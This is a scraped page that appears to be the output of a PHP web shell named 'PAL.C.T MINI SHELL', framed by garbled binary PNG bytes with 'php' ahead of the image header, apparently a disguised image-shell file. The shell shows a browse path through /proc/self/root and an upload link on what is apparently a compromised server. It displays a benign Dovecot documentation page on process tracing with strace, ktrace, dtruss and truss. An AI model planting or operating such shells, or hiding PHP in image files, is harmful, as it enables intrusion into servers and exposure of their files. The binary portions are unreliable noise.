php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/doc/dovecot-2.0.9/wiki/
upload
files >> //proc/self/root/usr/share/doc/dovecot-2.0.9/wiki/Debugging.ProcessTracing.txt

Process Tracing
===============

If a Dovecot's process hangs or is just really slow, the best way to debug it
is to see what it's really doing. Typically you'd be looking into imap or pop3
processes.

Linux
-----

---%<-------------------------------------------------------------------------
strace -tt -o log -p <process pid>
---%<-------------------------------------------------------------------------

BSDs, OS X <= 10.4
------------------

---%<-------------------------------------------------------------------------
# enable process tracing
ktrace -f log -p <process pid>
# do whatever makes it break, then stop the process tracing:
ktrace -C
# and see what it's done:
kdump -T -f log
---%<-------------------------------------------------------------------------

OS X >= 10.5
------------

---%<-------------------------------------------------------------------------
dtruss -p <process id>
---%<-------------------------------------------------------------------------

Solaris
-------

---%<-------------------------------------------------------------------------
truss -d -r0 -w1 -o log -p <process pid>
---%<-------------------------------------------------------------------------

'-r0' and '-w1' cause all IMAP input/output to be logged. '-d' adds timestamps
to the log.

(This file was created from the wiki on 2011-01-13 04:52)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`